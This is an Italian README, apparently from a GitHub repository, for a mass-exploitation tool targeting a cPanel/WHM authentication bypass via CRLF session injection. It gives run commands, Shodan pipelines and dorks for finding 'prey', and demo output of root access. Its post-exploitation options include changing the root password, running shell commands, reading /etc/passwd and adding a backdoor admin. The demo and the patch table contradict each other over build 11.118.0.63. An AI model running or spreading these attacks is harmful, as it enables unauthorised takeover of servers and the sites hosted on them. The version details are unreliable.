🔥 CVE-2026-41940 – Bypass di Autenticazione cPanel & WHM

cPanel

⚡ Root Non Autenticato – Iniezione CRLF nel File di Sessione ⚡
“Un'unica catena per dominarli tutti.”

🧠 L'Exploit in Breve

┌─────────────────────────────────────────────────────────────┐
│  Fase 1  ──  Genera un cookie di sessione pre‑auth        │
│  Fase 2  ──  Iniezione CRLF tramite header `Authorization`│
│  Fase 3  ──  Attiva `do_token_denied` (raw → cache)       │
│  Fase 4  ──  Verifica l'accesso root a WHM via API JSON  │
└─────────────────────────────────────────────────────────────┘

💥 Risultato – Accesso root completo a WHM, senza credenziali.

📜 Licenza

Questo progetto è rilasciato sotto la Licenza MIT – sentiti libero di usarlo, modificarlo e distribuirlo, ma non essere malvagio 😈.
Consulta il file LICENSE per i dettagli.

🛠️ Installazione – È Letteralmente Una Riga

git clone https://github.com/0xgh057r3c0n/CVE-2026-41940.git && cd CVE-2026-41940

Zero dipendenze – solo la libreria standard di Python 3.
Non ti serve pip, virtualenv o altra roba del genere.

🚀 Avvio Rapido – Esegui Ora

Singolo target

./CVE-2026-41940.py -u https://target.com:2087

Scansione di massa da file

./CVE-2026-41940.py -l targets.txt -t 20 -o results.json

Pipe da fonti esterne (Shodan, subfinder, ecc.)

shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | ./CVE-2026-41940.py -t 30

🎯 Opzioni da Riga di Comando (la roba buona)

💀 Arsenale Post‑Exploitation

Una volta compromesso il sistema, puoi:

🔍 Elencare tutti gli account cPanel – --action list
🔑 Cambiare la password di root – --action passwd --passwd "h4ck3d!"
🖥️ Eseguire comandi di sistema – --action cmd --cmd "id;whoami"
📡 Shell interattiva – --action shell (terminale WHM completo)
👤 Creare un admin backdoor – --action adduser --new-user backdoor --new-domain evil.com --passwd "pwn3d"
📂 Leggere file (tramite shell) – cat /etc/passwd
📊 Raccogliere informazioni sul server – --action info

🧪 Demo – Cosa Vedrai

$ ./CVE-2026-41940.py -u https://192.168.1.100:2087

  Configurazione:
   Target    : 1
   Thread    : 10
   Timeout   : 15s
   Azione    : solo scansione

[10:23:15] [SCAN] Avvio catena exploit a 4 fasi... https://192.168.1.100:2087
[10:23:15] [INFO] Hostname canonico rilevato: server.example.com
[10:23:15] [STEP] Fase 1/4 — Generazione sessione preauth...
[10:23:16] [  OK] Fase1: sessione preauth = 9a7f8e3d2c1b0a9f
[10:23:16] [STEP] Fase 2/4 — Iniezione CRLF tramite header Authorization...
[10:23:17] [  OK] Fase2: HTTP 302 → token=/cpsess1234567890
[10:23:17] [STEP] Fase 3/4 — Attivazione gadget do_token_denied (raw→cache)...
[10:23:18] [  OK] Fase3: HTTP 401 — gadget do_token_denied attivato
[10:23:18] [STEP] Fase 4/4 — Verifica accesso root a WHM...
[10:23:18] [INFO] Fase4: HTTP 200  {"version":"11.118.0.63",...}
[10:23:18] [PWND] CVE-2026-41940 CONFERMATO — Accesso root a WHM! (v11.118.0.63 — CONFERMATO vulnerabile)
[10:23:18] [PWND]   Token    : /cpsess1234567890
[10:23:18] [PWND]   Sessione : 9a7f8e3d2c1b0a9f
[10:23:18] [PWND]   Versione : 11.118.0.63
[10:23:18] [PWND]   URL API  : https://192.168.1.100:2087/cpsess1234567890/json-api/version

  CVE-2026-41940 — Scansione Completata
  Tempo: 3.2s  ·  Target: 1

  1 TARGET VULNERABILE(I)

  [*] Target   : https://192.168.1.100:2087
  [*] Versione : 11.118.0.63
  [*] Token    : /cpsess1234567890
  [*] URL API  : https://192.168.1.100:2087/cpsess1234567890/json-api/version
  [*] Sessione : 9a7f8e3d2c1b0a9f
  [*] Evidenza : {"version":"11.118.0.63",...}

🔎 Dork Shodan (trova la tua preda)

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087

📊 Versioni Interessate – Stato della Patch

Tutte le versioni inferiori a queste build sono vulnerabili.

🕵️‍♂️ Autore & Crediti

0xgh057r3c0n – ricercatore di sicurezza, reverse engineer e amante del caffè.
GitHub | Twitter

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi.
L'accesso non autorizzato a sistemi informatici è illegale. L'autore e i collaboratori non sono responsabili per qualsiasi uso improprio o danno causato da questo software.
Usalo in modo responsabile e ottieni sempre prima il permesso.

🌟 Supporto / Contributi

Trovato un bug? Apri una segnalazione.
Vuoi migliorare il codice? Le pull request sono benvenute.
Ti è piaciuto lo strumento? Lascia una ⭐ su GitHub!

🔥 Hackerare il pianeta, ma rimanere legali. 🔥

`-u, --url`	URL del singolo target (es. `https://host:2087`)
`-l, --list`	File con un URL per riga
`--hostname`	Sovrascrive l'header Host canonico (auto‑rilevato)
`-t, --threads`	Thread (predefinito: 10)
`--timeout`	Timeout in secondi (predefinito: 15)
`--rate-limit`	Pausa tra i target (secondi)
`--action`	Post‑exploit: `list`, `passwd`, `cmd`, `exec`, `info`, `version`, `shell`, `adduser`
`--passwd`	Nuova password di root (con `--action passwd`)
`--cmd`	Comando di sistema (con `--action cmd/exec`)
`--new-user`	Nuovo nome utente cPanel (con `--action adduser`)
`--new-domain`	Nuovo dominio cPanel (con `--action adduser`)
`-o, --output`	Salva i risultati in JSON

11.110	11.110.0.97	🛡️ Corretta
11.118	11.118.0.63	🛡️ Corretta
11.126	11.126.0.54	🛡️ Corretta
11.132	11.132.0.29	🛡️ Corretta
11.134	11.134.0.20	🛡️ Corretta
11.136	11.136.0.5	🛡️ Corretta

CVE-2026-41940

Più Popolari